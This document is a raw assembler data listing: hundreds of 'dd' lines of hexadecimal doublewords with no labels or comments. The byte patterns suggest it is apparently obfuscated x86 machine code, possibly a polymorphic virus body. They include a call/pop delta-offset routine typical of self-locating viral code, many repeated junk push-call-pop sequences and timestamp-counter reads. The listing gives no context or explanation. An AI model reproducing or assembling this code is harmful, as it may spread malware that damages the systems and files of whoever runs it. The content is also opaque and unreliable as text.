		dd 44810424h, 1A0424h, 51410000h, 0AD5542C3h, 9F9E4A08h
		dd 0E9525096h, 10h, 8358353Ah, 38883B0h, 27B2D233h, 93AD6ED7h
		dd 585A310Fh, 96FB8B50h, 8E9h, 68417700h, 61C03B55h, 0E0B5FF97h
		dd 6005EDD9h, 4820Fh, 0BB660000h, 880F22A6h, 3,	6114E680h
		dd 326995FFh, 0BF6605EAh, 0B58B2EFAh, 5EDD9D4h,	858BFBB3h
		dd 5EA0881h, 0EE957h, 0A4270000h, 59FAE40h, 9C36F1D9h
		dd 21FFE7A4h, 0C486895Fh, 6A000000h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 0DA2FC357h
		dd 5DE39123h, 66927657h, 958BD98Bh, 5EA0ADDh, 6A04C283h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 17042444h
		dd 46000000h, 21CAC356h, 85893310h, 5EA31DDh, 0A1BFBB52h
		dd 895B1DBBh, 858D2050h, 5EDEB67h, 3295BD8Bh, 868905EAh
		dd 0B8h, 0E850006Ah, 3,	58C35820h, 4244489h, 4244481h
		dd 1Bh,	3EC35040h, 0E5252F5Bh, 0F5A1EBDh, 8Dh, 6A006A00h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 15042444h
		dd 47000000h, 0BAADC357h, 149D9D89h, 9FB705EAh,	0D9E0B5FFh
		dd 958905EDh, 5EA2071h,	163D95FFh, 6A05EAh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 170424h, 57470000h, 7E9FC1C3h
		dd 7AEF80EFh, 11E95096h, 18000000h, 0E7053599h,	0E9F1E276h
		dd 0DCEADCA3h, 0DD061A3h, 0F08B6096h, 5E9h, 4754CB00h
		dd 0FF61002Dh, 0EDD9E0B5h, 13E905h, 0BEA00000h,	328EF141h
		dd 0FF84C89Dh, 65FD33E4h, 0DB0E1614h, 0A995FF4Ch, 6A05EA15h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 15042444h
		dd 40000000h, 9A71C350h, 68B0Fh, 0BD8B0000h, 5EA00FDh
		dd 115DBD83h, 0F0005EAh, 684h, 0FB8B5000h, 0FF243489h
		dd 0EDD9E0B5h, 52006A05h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1404h, 0C3524200h, 41BD8BD0h, 0FF05EA14h
		dd 0EA1CC995h, 56006A05h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1904h, 0C3564600h, 9A9447E5h, 0DF818503h
		dd 73348814h, 0ABCF8166h, 0E0B5FF0Dh, 6A05EDD9h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h
		dd 0A7CC357h, 0D95FF42h, 6A05EA23h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 14042444h, 40000000h, 832BC350h
		dd 0EA0631BDh, 840F0205h, 41h, 858BFB8Bh, 5EA0C95h, 0D5858960h
		dd 8B05EA0Eh, 0C661C2h,	57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1A04h, 0C3574700h, 29E37D03h, 6645DE4Bh
		dd 33DEF6BFh, 0EA25D19Dh, 7D85C705h, 5EA09h, 6A000000h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 17042444h
		dd 43000000h, 2F62C353h, 0C781EE42h, 611B5F30h,	0F31BD09h
		dd 34E905EAh, 89FFFFF3h, 0EA2F65B5h, 0B7C18B05h, 8D858D07h
		dd 8105EA29h, 23D56FF7h, 0D98B9062h, 7BB6650h, 6A9005h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h
		dd 857086C3h, 926F8325h, 0BF0F006Ah, 1006AFBh, 0EA101D85h
		dd 9E858D05h, 6A05EF29h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 14042444h, 46000000h, 0E944C356h,	8, 0B27DA0B3h
		dd 81F9B9D8h, 0B705C083h, 860F9021h, 26h, 6E95250h, 0AA000000h
		dd 0EE1F0848h, 0E9310FDBh, 10h,	93592911h, 0D05E3A6Ah
		dd 22550960h, 76789658h, 5050585Ah, 0F525052h, 20BB6631h
		dd 0F585A0Ch, 0D86CBB31h, 585A5849h, 51006A90h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1904h,	0C3514100h, 279A807Fh
		dd 6A1A8Fh, 0C840Fh, 860F0000h,	6, 830Fh, 6A0000h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 0A2C35343h, 4BF8C7Dh
		dd 5255D39Ah, 0D8BF0F5Bh, 23E995FFh, 8D8905EAh,	5EA1C31h
		dd 6E8h, 21924100h, 660518C8h, 71F5E381h, 9D8D8D5Bh, 6A05EDD8h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1A042444h
		dd 43000000h, 2AA0C353h, 1D58EFB2h, 0C800FD5h, 0F000000h
		dd 683h, 9FC38100h, 0FF554665h,	50006AD1h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1704h,	0C3504000h, 8C7191A1h
		dd 0BD832AB7h, 5EA02D1h, 74850F01h, 6A000000h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 17042444h, 45000000h
		dd 0D49C355h, 73BB97B6h, 811B0E03h, 0D64506C3h,	89026A7Ah
		dd 0EA2C519Dh, 0B4BB9005h, 5078DEE8h, 90FA8B66h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 70C35141h, 1FCFCE9h
		dd 31DC8ABFh, 45BD0979h, 0FF05EA0Dh, 0EA163D95h, 0B19D8B05h
		dd 0E905EA05h, 0E04h, 0E8h, 0ED815D00h,	5EF29A8h, 0EE9h
		dd 7C28C300h, 0EF97ED42h, 295335B7h, 6A32F05Bh,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h
		dd 824AC355h, 9E79EA2h,	60E23992h, 65C2EA81h, 0BD893E6Bh
		dd 5EA14A1h, 85015161h,	5EA0875h, 87858D5Fh, 6A05EDC3h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h
		dd 17042444h, 46000000h, 0D7A0C356h, 0EE9C4F1h,	95000000h
		dd 483605FAh, 0BA346444h, 5AE966B6h, 489502Eh, 57006A24h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1504h, 0C3574700h
		dd 8B60947Bh, 0EA129595h, 5E805h, 26730000h, 5A2A70E5h
		dd 35FF6461h, 0
		dd 2BC99589h, 896405EAh, 25h, 7E96000h,	2D000000h, 5CCE6B4Dh
		dd 858924F5h, 5EA02BDh,	4985FF61h, 6A05EA1Ch, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h
		dd 0C8E6C356h, 0FF6AFAA7h, 0FFFEB70Fh, 0EA003DB5h, 9DBD8B05h
		dd 8B05EA2Eh, 0EA0169BDh, 4995FF05h, 0E905EA14h, 11Ch
		dd 0A810Fh, 5E90000h, 0DF000000h, 731B26Ch, 5612BB66h
		dd 958900B0h, 5EA2325h,	0E6D98B66h, 79B52970h, 0E405EA1Dh
		dd 398D2971h, 3C05EA0Fh, 0E5830F61h, 0F000000h,	686h, 799D8B00h
		dd 0F05EA1Ch, 880FC8B6h, 5, 0FDF8166h, 0BADE8B37h, 6, 895AE381h
		dd 0C18B2E2Fh, 0D359D2Bh, 0E8C105EAh, 14E904h, 1F290000h
		dd 0ADFD2BD9h, 17660C60h, 0F46404F1h, 58C43ECh,	0F76688E8h
		dd 0B7C82BE2h, 29D18BC4h, 0EA1D5D8Dh, 86E905h, 57BB0000h
		dd 8B1208E5h, 554C5085h, 7C08347h, 0C1BD8B50h, 5F05EA30h
		dd 0E900C083h, 0Eh, 0E2F80056h,	0D25E2C53h, 1E6734CFh
		dd 0D03B655Ch, 11830Fh,	0BF660000h, 49E9AF07h, 52000000h
		dd 2D61BD0Bh, 8B5F05EAh, 0FFFFFF8Dh, 4DB589FFh,	8305EA29h
		dd 840F01E1h, 2Ch, 0DE957h, 481B0000h, 0FA8AD7B3h, 7A99F704h
		dd 5F500B42h, 0FFFFA583h, 29FEFFFFh, 0EA0F15B5h, 50958905h
		dd 0E947554Ch, 0
		dd 0A3E5B58Dh, 6A05EEh,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 1C0424h, 53430000h, 0E7D0DBC3h, 3B2BEF9Bh, 6A3D4Eh
		dd 10E9h, 94039B00h, 0FB5A44D6h, 15393F35h, 158BB6A9h
		dd 1595FF53h, 0E905EA10h, 9, 3D422C97h,	2A5613F3h, 0FBAB928h
		dd 5E90000h, 8F000000h,	0FABE6B5Dh, 6AFCE183h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h
		dd 4F7AC357h, 0C8C8BB1Eh, 0BD290AA5h, 5EA00D9h,	52006AFCh
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1604h, 0C3524200h
		dd 89196F50h, 0EA2BD195h, 6AC02B05h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 0EEC353h
		dd 89F23E20h, 0EA003185h, 8BD22B05h, 0EA0EC59Dh, 0C233AD05h
		dd 0D003E8D1h, 7504E983h, 56006AF4h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1904h,	0C3564600h, 3736DA08h
		dd 0BF0F3C75h, 0CF8166DAh, 880D5858h, 6A000000h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h
		dd 4952C353h, 669EB0C8h, 0AB37F781h, 0ADD958Bh,	6A05EAh
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h
		dd 3899E5C3h, 7E808h, 0DB560000h, 724615F4h, 5995896Ch
		dd 5B05EA31h, 0ACD8D8Bh, 6A05EAh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1C0424h, 53430000h, 5F4BB8C3h, 242BBAA3h
		dd 8B669F55h, 0C28B50DEh, 0C103188Bh, 0C18B188Bh, 0C203E8D1h
		dd 6A58188Bh, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 19042444h, 46000000h, 56A9C356h, 0F34A67F0h,	0E9D9BF0Fh
		dd 12h,	588DA0A3h, 4BA450ABh, 0D4A4FB0Bh, 0C03F46F8h, 0F606C45h
		dd 158Bh, 10E900h, 4D30000h, 0A873F2EEh, 83EA6D9Eh, 57B43E8Ah
		dd 8F0FE4C7h, 6, 59FCCF81h, 83617E04h, 0EA0819BDh, 840F0005h
		dd 60h,	3A61C381h, 0B87226h, 6A000000h,	3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 2840C356h
		dd 5E7E2CF3h, 0F0C2F4Ch, 0E89h,	0B5896000h, 5EA0125h, 3105B58Bh
		dd 896105EAh, 0EA2B59BDh, 218D8D05h, 0F05EA4Ch,	388h, 64D78000h
		dd 9D8BE1FFh, 5EA1481h,	25F5BD83h, 0F0005EAh, 3E084h, 0F5BD8300h
		dd 105EA25h, 3EE840Fh, 83F80000h, 0EA25F5BDh, 860F0305h
		dd 3AAh, 0E855006Ah, 3,	5DC35D20h, 4246C89h, 4244481h
		dd 1Dh,	0D4C35545h, 0CC09F971h,	8AA3AF12h, 0C6BF665Eh
		dd 0F860FCF6h, 0F5D98C66h, 6A04E180h, 3E85100h,	20000000h
		dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 2D28C351h
		dd 0FC90AEBh, 12B84h, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1D04h, 0C3504000h, 0A9C94280h, 51C64572h
		dd 0E781FB07h, 3B92E0D7h, 1629858Bh, 0BD3305EAh, 5EA19D1h
		dd 15358533h, 6A05EAh, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1A0424h, 52420000h, 4A488CC3h, 7B22B6DEh, 0BB6690FCh
		dd 0B75060C6h, 6A90B9h,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 140424h, 55450000h, 6A16C3h,	0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 17h, 0F6C35040h,	0B731840Ah, 4DC6857h
		dd 8B6665EBh, 243481D8h, 65F40723h, 8B66F560h, 95FF61F7h
		dd 5EA320Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Dh,	9EC35343h, 16E28D32h, 5167D5Ch,	7894BB1Ah, 858926CDh
		dd 5EDD9E0h, 0E9F98B66h, 1CCh, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ch, 0D4C35646h,	0B360DADAh, 1730190Fh
		dd 2D399D29h, 852905EAh, 5EA0745h, 0D9D8858Bh, 0C7F505EDh
		dd 1800h, 0BF665100h, 8B5FB6ECh, 0EDD9DCB5h, 52006A05h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1D04h, 0C3524200h
		dd 0E006C88Fh, 0FB8E78FEh, 0B5895FD9h, 5EA0089h, 59529h
		dd 858B05EAh, 5EA29E5h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Ah, 5CC35242h, 82A628FDh,	8D89BD66h, 5EA2C29h
		dd 6A0689h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h
		dd 57470000h, 0E826ECC3h, 9D430B93h, 0B3C9FDEFh, 29858B7Eh
		dd 8B05EA16h, 0EA2B81BDh, 474DBB05h, 46897A12h,	53006A04h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1404h, 0C3534300h
		dd 0B1BD8BB9h, 5005EA29h, 986BB9BFh, 2434894Dh,	11D99D8Bh
		dd 0B5FF05EAh, 5EDD9D8h, 14E9h,	6CFA2200h, 0D826DCFFh
		dd 48E619CDh, 23118594h, 0F476A196h, 53DF6886h,	800F9781h
		dd 10h,	0BE9h, 0B5CA6300h, 51E01F3Ah, 84299219h, 20240481h
		dd 6A689DB0h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1A042444h, 40000000h, 0CCE3C350h, 2797554Ch,	0E0858DE2h
		dd 905EDD9h, 0EA1E4DB5h, 0F509005h, 685h, 0F525000h, 5B585A31h
		dd 6A9050h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h
		dd 57470000h, 22E261C3h, 5B66C8EFh, 95FFF5B7h, 5EA320Dh
		dd 459D01h, 8D2905EAh, 5EA31C1h, 51006A61h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1604h,	0C3514100h, 8AE39123h
		dd 0F585C7D9h, 305EA25h, 6A000000h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1D042444h, 42000000h, 6EAEC352h
		dd 0D6524546h, 7C91323Ah, 12419D8Bh, 0BD8305EAh, 5EDD9E0h
		dd 27840F00h, 51000000h, 3AE95FFCh, 6A000000h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 17042444h, 45000000h
		dd 4386C355h, 305018AEh, 4400110Ch, 0E8C10111h,	11443010h
		dd 114C0002h, 0E9835803h, 0EBE77504h, 4305036h,	11640011h
		dd 10E8C101h, 2114430h,	3116400h, 4E98358h, 1BEBE775h
		dd 10E8C150h, 3116428h,	2114430h, 11642858h, 11043001h
		dd 7504E983h, 8B00EBE7h, 57006AC0h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1504h, 0C3574700h, 9D8953B7h, 5EA02D5h, 25F5BD83h
		dd 0F0305EAh, 49E85h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1504h, 0C3564600h, 8C0F96F0h, 6, 13259D33h
		dd 858905EAh, 5EA05EDh,	83FFB70Fh, 0EDD9E0BDh, 840F0005h
		dd 45Fh, 14E9h,	5A76900h, 0D144A311h, 2AD8BDA7h, 0F69A399Ah
		dd 368B392Dh, 0E0B5FF86h, 6A05EDD9h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1B042444h, 41000000h, 36FBC351h
		dd 647C4AB6h, 0B58993ECh, 5EA012Dh, 6E9h, 5C836400h, 80DA6918h
		dd 95FF67D7h, 5EA128Dh,	29B99509h, 34BF05EAh, 8B4F5734h
		dd 0EDD9D4B5h, 0EE805h,	35BC0000h, 499BB94Ah, 30ED25A7h
		dd 883E769Bh, 0C75B62B7h, 1000106h, 56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1604h,	0C3564600h, 0E9A7831Dh
		dd 0Eh,	0E3A3A8Eh, 3EC1A277h, 4A628EA1h, 7DB30360h, 0BF525096h
		dd 362AF034h, 6EBB310Fh, 5A7F50BEh, 0F965058h, 586h, 0F3816600h
		dd 81668641h, 0FF51C2F3h
		dd 0EDD9E0B5h, 51006A05h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1A04h, 0C3514100h, 80C5BAFDh, 509CC0A0h
		dd 1E898D01h, 0FF5F05EAh, 0EA326995h, 53006A05h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1C04h, 0C3534300h
		dd 0B10A45AEh, 0D0077038h, 0FE973h, 8B740000h, 60251023h
		dd 0CE36E314h, 7310E141h, 62C781C6h, 8B1B4598h,	0EDD9D4B5h
		dd 79BD8905h, 8B05EA1Bh, 0EA088185h, 55006A05h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1704h,	0C3554500h, 0C3B4CA60h
		dd 5870Fh, 39BB0000h, 893A4953h, 0C486h, 0DD958B00h, 6A05EA0Ah
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 16042444h
		dd 43000000h, 75F0C353h, 4C2838Fh, 14E9h, 1F6E7900h, 648579F4h
		dd 0FBC57757h, 6E9C20AEh, 0C38A8664h, 205089C3h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 6C35646h, 1806B040h
		dd 0EB67858Dh, 6A05EDh,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 1C0424h, 55450000h, 0C4C9E7C3h, 3B8C8C1h, 86896163h
		dd 0B8h, 0E855006Ah, 3,	5DC35D20h, 4246C89h, 4244481h
		dd 14h,	61C35545h, 6A006Ah, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1B0424h, 56460000h, 0DEE982C3h, 16BC149Bh
		dd 0DA8B6646h, 0D9E0B5FFh, 0D98A05EDh, 50BDCF81h, 95FF14C0h
		dd 5EA163Dh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 15h,	0E6C35545h, 8DB53148h, 0B305EA2Eh, 5250506Dh, 9E860h
		dd 71940000h, 259E70B9h, 5AEFAAAEh, 0F6178B5h, 61605731h
		dd 89585A5Bh, 0BF0F2434h, 0E0B5FFFEh, 6A05EDD9h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h
		dd 3364C351h, 0C1B501h,	95FF05EAh, 5EA15A9h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 19C35242h, 66DBBF0Fh
		dd 83EA52BBh, 0EA115DBDh, 840F0005h, 22h, 3DA8B66h, 0EA10859Dh
		dd 0DE99605h, 2C000000h, 3CAD011Dh, 4A55610Eh, 0FAB7FE59h
		dd 47BB6650h, 0B5FF96E3h, 5EDD9E0h, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Bh, 6EC35545h, 76E494D9h, 0FFB26B71h
		dd 0EA1CC995h, 7E805h, 811C0000h, 6F9AF8C8h, 9D8B6003h
		dd 5EA0BC5h, 5F616160h,	0D9E0B5FFh, 0BD8B05EDh,	5EA1E3Dh
		dd 230D95FFh, 6A05EAh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 150424h, 53430000h, 662FDEC3h, 0BD83D88Bh, 5EA0631h
		dd 7A840F02h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1A042444h, 45000000h, 0E05FC355h,	9C7C2291h
		dd 26BF66EAh, 6850FAEh,	8B000000h, 0EA02EDBDh, 95096005h
		dd 5EA0B55h, 1241B529h,	8B6105EAh, 0EA0C9585h, 0C19D8B05h
		dd 0C605EA13h, 6A0000h,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 190424h, 53430000h, 6E255EC3h, 6667E313h, 2996FEBBh
		dd 0EA2A3D95h, 7D85C705h, 5EA09h, 8B000000h, 0EA25E59Dh
		dd 9D9D0905h, 0E905EA25h, 0FFFFF33Eh, 3EBFF381h, 666030DAh
		dd 0F2C91BEh, 68Bh, 0D1BD3100h,	6105EA0Bh, 11E9C18Bh, 22000000h
		dd 33D549C9h, 9938C01Ch, 0F0F00915h, 8D448FF1h,	298D858Dh
		dd 316005EAh, 0EA0005B5h, 79B2B905h, 90617464h,	0DF8B5250h
		dd 8A52310Fh, 585A5BD8h, 6E950h, 38C80000h, 0BAB8151h
		dd 56006A90h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1D04h
		dd 0C3564600h, 0C752BCF0h, 0F917FEB9h, 0BD29F847h, 5EA2BA9h
		dd 6E8006Ah, 0B7000000h, 8A4EBED7h, 0CB81661Bh,	6A5B1D02h
		dd 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1604h
		dd 0C3504000h, 81BA2DF1h, 0BA389EBh, 0F1858D11h, 6A05EF39h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1A042444h
		dd 41000000h, 0B2A5C351h, 6B632D90h, 5C08394h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 0E9C35141h, 0F19D316Dh
		dd 9005EA1Eh, 0E850B9B3h, 7, 0F9312C7Ch, 5181A549h, 5F5F5B56h
		dd 57006A90h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1C04h
		dd 0C3574700h, 0EDA0C361h, 489CFFDh, 66006A3Ch,	0FE9F88Bh
		dd 0E1000000h, 0FB20231Bh, 29052FBBh, 0B1EE9535h, 6A6554h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 0C35747h
		dd 8546AE49h, 0FF4D103Bh, 0EA23E995h, 50006A05h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h
		dd 0D857EFB7h, 0BB667864h, 0BF665BEFh, 8D8D14B4h, 5EDD89Dh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 0D9C35343h
		dd 0A19D8BF5h, 0FF05EA00h, 57006AD1h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1704h,	0C3574700h, 0A9CF9D63h
		dd 0BD835B56h, 5EA02D1h, 6B850F01h, 6A000000h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 16042444h, 42000000h
		dd 724FC352h, 0DE8FBh, 0F3D10000h, 0CDA63D07h, 5250A9A7h
		dd 89961333h, 0EA2D4195h, 8A0F5B05h, 18h, 13E9h, 0DA8AB700h
		dd 0C4B06E30h, 512B1DBEh, 0EF477632h, 0D9B34A27h, 0BF50026Ah
		dd 5255ACDEh, 0BB240489h, 158FA177h, 163D95FFh,	0F5E905EAh
		dd 0E800000Dh, 0
		dd 0FBED815Dh, 8905EF39h, 0EA0F599Dh, 58A0F05h,	0BB000000h
		dd 6E1CA533h, 0D9F5BF66h, 0C387858Dh, 6A05EDh, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h
		dd 64AE37C3h, 8AE092C6h, 0BE8901Dh, 6E000000h, 0BA19A9CEh
		dd 72CA8E59h, 0BB66F528h, 505F0DC7h, 0BE9h, 4E526D00h
		dd 64F68336h, 9D6E07CEh, 0FA8B6690h, 35FF64h, 29000000h
		dd 0EA149D85h, 25896405h, 0
		dd 0FFD98B66h, 0EA1C4985h, 53006A05h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1404h,	0C3534300h, 7E8FCBDh, 97000000h
		dd 0DD06DF2Ah, 8B5640ADh, 0EA2515BDh, 6A5F5F05h, 0FB8B66FFh
		dd 1C19B5FFh, 6A05EAh, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1A0424h, 51410000h, 8E9555C3h, 0C1DB09CEh, 7E9h, 289EFD00h
		dd 0B2CACEB1h, 144995FFh, 1AE905EAh, 0B000001h,	0EA24DDBDh
		dd 359D8905h, 0B005EA06h, 69BD8900h, 0E605EA1Dh, 21BD8B70h
		dd 0E405EA0Ah, 0DA8B6671h, 830F613Ch, 0F1h, 131DBD09h
		dd 0BD8905EAh, 5EA28D5h, 0E9C8B60Fh, 0Fh, 54AA65D3h, 4EDAB044h
		dd 45873DAEh, 0BAADEE19h, 6, 0BD8BC18Bh, 5EA17E5h, 0E904E8C1h
		dd 14h,	0CFDBDF15h, 0D2AF9BA7h,	0F986F5F6h, 983A5480h
		dd 0C242FB19h, 66E2F766h, 0C82BFB8Bh, 13E8h, 5716BF00h
		dd 5E7D54C9h, 7C7AFB31h, 0D9B1ADB4h, 0D9D0EDC5h, 6EEFF781h
		dd 8B5B13C3h, 0E9DE8BD1h, 75h, 10E9h, 0B2C4A400h, 6B91DB79h
		dd 85C5392h, 0D0826083h, 49858B24h, 8344004Eh, 816607C0h
		dd 835583EFh, 0DA8B00C0h, 830FD03Bh, 10h, 8330B4BBh, 3BE97Ah
		dd 0B5290000h, 5EA1D65h, 0FFFF8D8Bh, 9589FFFFh,	5EA074Dh
		dd 0F01E183h, 2084h, 0DB58900h,	8305EA03h, 0FFFFFFA5h
		dd 0BF0FFEFFh, 499589F9h, 6644004Eh, 0DAECCF81h, 0E9h
		dd 9FB58D00h, 6A05EEB3h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 19042444h, 42000000h, 0DF15C352h,	9BA7CFDBh
		dd 0E381006Ah, 71C4F755h, 95FFFD8Ah, 5EA1015h, 1C958D29h
		dd 55B905EAh, 6A00000Fh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 14042444h, 43000000h, 814DC353h, 0ACB9DCEBh
		dd 0FCE1833Ah, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 16h,	87C35040h, 6AFCD41Ch, 3E85100h,	20000000h, 8959C359h
		dd 8104244Ch, 14042444h, 41000000h, 0B833C351h,	0
		dd 3D958960h, 8905EA1Bh, 0EA1571B5h, 0D22B6105h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0F9C35242h, 9C808EBh
		dd 0BBBEF60Dh, 0CBFDF97h, 0D1C233ADh, 83D003E8h, 0F47504E9h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 0B9C35343h
		dd 7159763h, 0BD0101FFh, 5EA0765h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 17h, 0B6C35040h,	9D92B85h, 0EA14159Dh
		dd 880D05h, 6A0000h, 3E857h, 5F200000h,	7C895FC3h, 44810424h
		dd 1C0424h, 57470000h, 0B907AFC3h, 0EDF738BEh, 958BE73Ah
		dd 5EA0ADDh, 9BD8D89h, 8D8B05EAh, 5EA0ACDh, 50FEBF0Fh
		dd 188BC28Bh, 188BC103h, 0E8D1C18Bh, 188BC203h,	7E958h
		dd 3EC00000h, 91388892h, 56006AAAh, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1A04h, 0C3564600h, 720E4F6Ah, 0E879EDA4h
		dd 0Ch,	0D18293B1h, 20FB675h, 0D83A94A7h, 19BD835Fh, 5EA08h
		dd 8D840Fh, 0B70F0000h,	0B8DBh,	0B5290000h, 5EA0A91h, 4C218D8Dh
		dd 6A05EAh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h
		dd 51410000h, 9E064EC3h, 11E9C0E3h, 0B4000000h,	45D1725Dh
		dd 0A2AAC363h, 551A7776h, 93FD6935h, 6AE1FFh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 0FCA19CC3h
		dd 7344B574h, 0E8F52D3Ah, 10h, 2092068Ah, 0BD2DB2D0h, 8F624516h
		dd 0B2A4892Fh, 6C99D03h, 835B05EAh, 0EA25F5BDh,	840F0005h
		dd 40Fh, 0E5F046BBh, 0F5BD8371h, 105EA25h, 418840Fh, 0CE80000h
		dd 0CD000000h, 0CFC3368Eh, 650019FFh, 806865F9h, 835BE9E7h
		dd 0EA25F5BDh, 860F0305h, 3C0h,	52006A60h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1C04h,	0C3524200h, 616B3E2Bh
		dd 2FDF8948h, 8B0F5099h, 4, 0EA34BB66h,	0D98C665Bh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 1DC35646h, 8B15DD7Eh
		dd 4E180DAh, 4A3A4ABFh,	0FC90A62h, 12C84h, 55006A00h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1A04h, 0C3554500h
		dd 0F8EF5234h, 0E942515Bh, 0Dh,	0B51D7843h, 11DF2BF3h
		dd 0D052C7F5h, 359D8B94h, 8B05EA2Ch, 0EA162985h, 56006A05h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1904h, 0C3564600h
		dd 97B38893h, 95896665h, 5EA0729h, 15358533h, 0BD2905EAh
		dd 5EA2AF1h, 50905B57h,	13E860h, 22630000h, 31D37626h
		dd 4E3D9FD6h, 5A9A24Fh,	85C631E3h, 83FB8BBh, 0F586D22h
		dd 688h, 8A0F00h, 61000000h, 5858990h, 8905EA2Fh, 0EA1E4585h
		dd 68006A05h, 8E5B7A66h, 14E960h, 0E8CC0000h, 0AF1B6D09h
